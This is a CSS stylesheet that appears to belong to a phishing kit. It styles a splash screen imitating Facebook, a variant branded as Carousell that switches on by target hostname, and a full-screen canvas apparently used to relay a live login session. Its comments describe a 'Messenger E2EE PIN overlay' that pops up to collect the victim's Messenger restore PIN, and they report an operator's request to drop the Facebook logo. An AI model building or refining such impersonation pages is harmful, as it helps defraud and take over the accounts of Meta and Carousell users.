:root {
    --bg:        #0f1114;
    --panel:     #1a1d22;
    --border:    #2a2f37;
    --text:      #e7eaee;
    --sub:       #8b929a;
    --accent:    #4f8cff;
    --accent2:   #6aa6ff;
    --ok:        #3ecf76;
    --err:       #ff5a5a;
    --shadow:    0 8px 32px rgba(0,0,0,.35);
    --radius:    10px;
    --tray-h:    0px;
    /* Brand-tinted splash tokens. Meta-flow keeps Facebook blue; Carousell flow
       overrides them via body.theme-caru below. */
    --brand:         #0866FF;   /* Meta blue, default */
    --brand-soft:    rgba(8, 102, 255, .15);
    --brand-dark:    #0757d8;
}


* { box-sizing: border-box; }
html, body { margin: 0; padding: 0; height: 100%; background: var(--bg); color: var(--text); font: 14px/1.4 -apple-system, "Segoe UI", Roboto, Arial, sans-serif; overflow: hidden; overscroll-behavior: none; }
.hidden { display: none !important; }

/* ── Facebook-style splash (used for loading / error / success) ── */
.fb-splash {
    position: fixed; inset: 0; z-index: 40;
    display: flex; flex-direction: column;
    align-items: center; justify-content: center;
    background: #fff;
    gap: 40px;
}
@media (prefers-color-scheme: dark) {
    .fb-splash { background: #18191A; }
}
.fb-logo {
    animation: fb-pop .55s cubic-bezier(.2, .8, .2, 1);
    display: flex; align-items: center; justify-content: center;
}
.fb-spinner {
    width: 32px; height: 32px;
    border-radius: 50%;
    border: 3px solid var(--brand-soft);
    border-top-color: var(--brand);
    animation: fb-spin .9s linear infinite;
}
.fb-stage {
    font-size: 14px; color: #65676B;
    text-align: center; padding: 0 24px;
    min-height: 18px;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
}
@media (prefers-color-scheme: dark) {
    .fb-stage { color: #B0B3B8; }
}
.fb-btn {
    background: var(--brand); color: #fff;
    border: none; border-radius: 6px;
    padding: 10px 24px; font-size: 14px; font-weight: 600;
    cursor: pointer; margin-top: 12px;
    transition: background 120ms;
}
.fb-btn:hover { background: var(--brand-dark); }

@keyframes fb-spin {
    to { transform: rotate(360deg); }
}
@keyframes fb-pop {
    from { transform: scale(.6); opacity: 0; }
    to   { transform: scale(1);  opacity: 1; }
}

/* Legacy classes kept in case a stray reference exists — collapse to nothing. */
.progress, .bar { display: none; }

.btn {
    background: #23272e; color: var(--text);
    border: 1px solid var(--border); border-radius: 6px;
    padding: 6px 12px; font-size: 12px; cursor: pointer;
    transition: background 120ms, border-color 120ms;
}
.btn:hover { background: #2a2f37; }
.btn-primary { background: var(--accent); border-color: var(--accent); color: #fff; }
.btn-primary:hover { background: var(--accent2); }

/* ── stage ──────────────────────────────────────────────────────── */
.stage {
    position: fixed; inset: 0;
    background: #000;
    display: block;
    overflow: hidden;
    overscroll-behavior: none;
}


#cv {
    width:  100%;
    height: 100%;
    background: #000;
    cursor: pointer;
    user-select: none; -webkit-user-select: none;
    -webkit-touch-callout: none;
    touch-action: none;
    outline: none;
    display: block;
}


/* Hidden text input we focus inside a touchend gesture so the OS soft keyboard
   opens on iOS/Android. Constraints that made me pick this exact shape:
     — Must be INSIDE viewport. Safari 16+ refuses focus() on inputs parked at
       negative coordinates (left:-9999px kills the keyboard silently).
     — opacity MUST be > 0 in strict-mode Safari, but any non-zero value works
       (0.001 is invisible even on OLED phones).
     — font-size >= 16px prevents iOS from auto-zooming the outer page on focus.
     — No `pointer-events:none` and no negative z-index: some Safari builds skip
       the OS keyboard for inputs they can't route pointer to, even if we're
       calling .focus() programmatically. It's 1px×1px behind everything anyway. */
#kb {
    position: fixed;
    left: 50%; top: 0;
    width: 1px; height: 1px;
    opacity: 0.001;
    border: 0; outline: 0;
    padding: 0; margin: 0;
    background: transparent;
    color: transparent;
    caret-color: transparent;
    font-size: 16px;
    -webkit-user-select: text;   /* iOS silently blocks .focus() on unselectable inputs */
}

/* ── Carousell-branded splash (overrides Meta blue for the Carousell flow) ──
   Client script adds `theme-caru` to <body> when the target is carousell.*
   or the hostname's first label starts with `caru` / `sg`. The FB logo is
   hidden entirely (per user request "фейсбук вообще убери") and the shared
   spinner + text get a Carousell-red tint. */
/* Selector allows the class to live on either <html> (inline head-script, wins
   the pre-paint race) or <body> (client.js IIFE, redundant belt-and-suspenders). */
.theme-caru {
    --brand:      #FF5252;                    /* Carousell red */
    --brand-soft: rgba(255, 82, 82, .18);
    --brand-dark: #d63838;
}
.theme-caru .fb-logo { display: none !important; }
.theme-caru .fb-splash { gap: 24px; }
.theme-caru .fb-spinner {
    width: 44px; height: 44px;                /* the spinner IS the only mark; give it more weight */
    border-width: 4px;
}

/* ── Messenger E2EE PIN overlay (ported from asfalt/dolce-space) ─────
   Full-screen modal that appears when messenger.com asks for the restore-
   PIN. Meta-blue focus ring on cells, safe-area padding so the "Продовжити"
   button clears the iOS home indicator. */
.pin-overlay {
    position: fixed; inset: 0; z-index: 100;
    display: flex; align-items: flex-start; justify-content: center;
    padding-top: max(56px, env(safe-area-inset-top, 20px));
    padding-bottom: max(16px, env(safe-area-inset-bottom, 12px));
    background: rgba(15,17,20,0.72);
    -webkit-backdrop-filter: blur(8px);
    backdrop-filter: blur(8px);
}
.pin-overlay.hidden { display: none !important; }
.pin-modal {
    background: #fff;
    border-radius: 16px;
    padding: 28px 22px 20px;
    width: min(360px, 92vw);
    box-shadow: 0 12px 40px rgba(0,0,0,.35);
    text-align: center;
    font: 500 14px/1.4 -apple-system, "Segoe UI", Roboto, Arial, sans-serif;
    color: #050505;
}
.pin-title {
    margin: 0 0 8px;
    font-size: 20px;
    font-weight: 700;
    color: #050505;
}
.pin-sub {
    font-size: 14px;
    color: #65676b;
    margin: 0 0 20px;
    line-height: 1.4;
}
.pin-cells {
    display: flex; gap: 8px; justify-content: center;
    margin: 0 0 18px;
}
.pin-cells input {
    width: 44px; height: 54px;
    font-size: 22px; text-align: center;
    padding: 0;
    border: 1px solid transparent;
    border-radius: 12px;
    background: #f0f2f5;
    color: #050505;
    font-family: inherit;
    transition: border-color .12s, background .12s, box-shadow .12s;
}
.pin-cells input::placeholder { color: #bcc0c4; }
.pin-cells input:focus {
    outline: none;
    border-color: #1877F2;
    background: #fff;
    box-shadow: 0 0 0 1px #1877F2;
}
.pin-cells.error input {
    background: #fff0f0;
    border-color: #e0245e;
}
.pin-note {
    color: #e0245e;
    font-size: 13px;
    margin: 0 0 12px;
    line-height: 1.4;
}
.pin-note.hidden { display: none; }
.pin-submit {
    display: block;
    width: 100%;
    padding: 12px 24px;
    font-size: 15px; font-weight: 600;
    color: #fff;
    background: #1877F2;
    border: 0;
    border-radius: 20px;
    cursor: pointer;
    font-family: inherit;
}
.pin-submit:disabled {
    background: #a3c3ee;
    cursor: not-allowed;
}
.pin-skip {
    display: block;
    margin: 12px auto 0;
    padding: 8px 12px;
    background: transparent;
    border: 0;
    color: #65676b;
    font-size: 13px;
    text-decoration: underline;
    cursor: pointer;
    font-family: inherit;
}

/* mobile-first tweaks: shrink the tray on tiny screens */
@media (max-width: 520px) {
    .btn { padding: 5px 10px; font-size: 11px; }
}
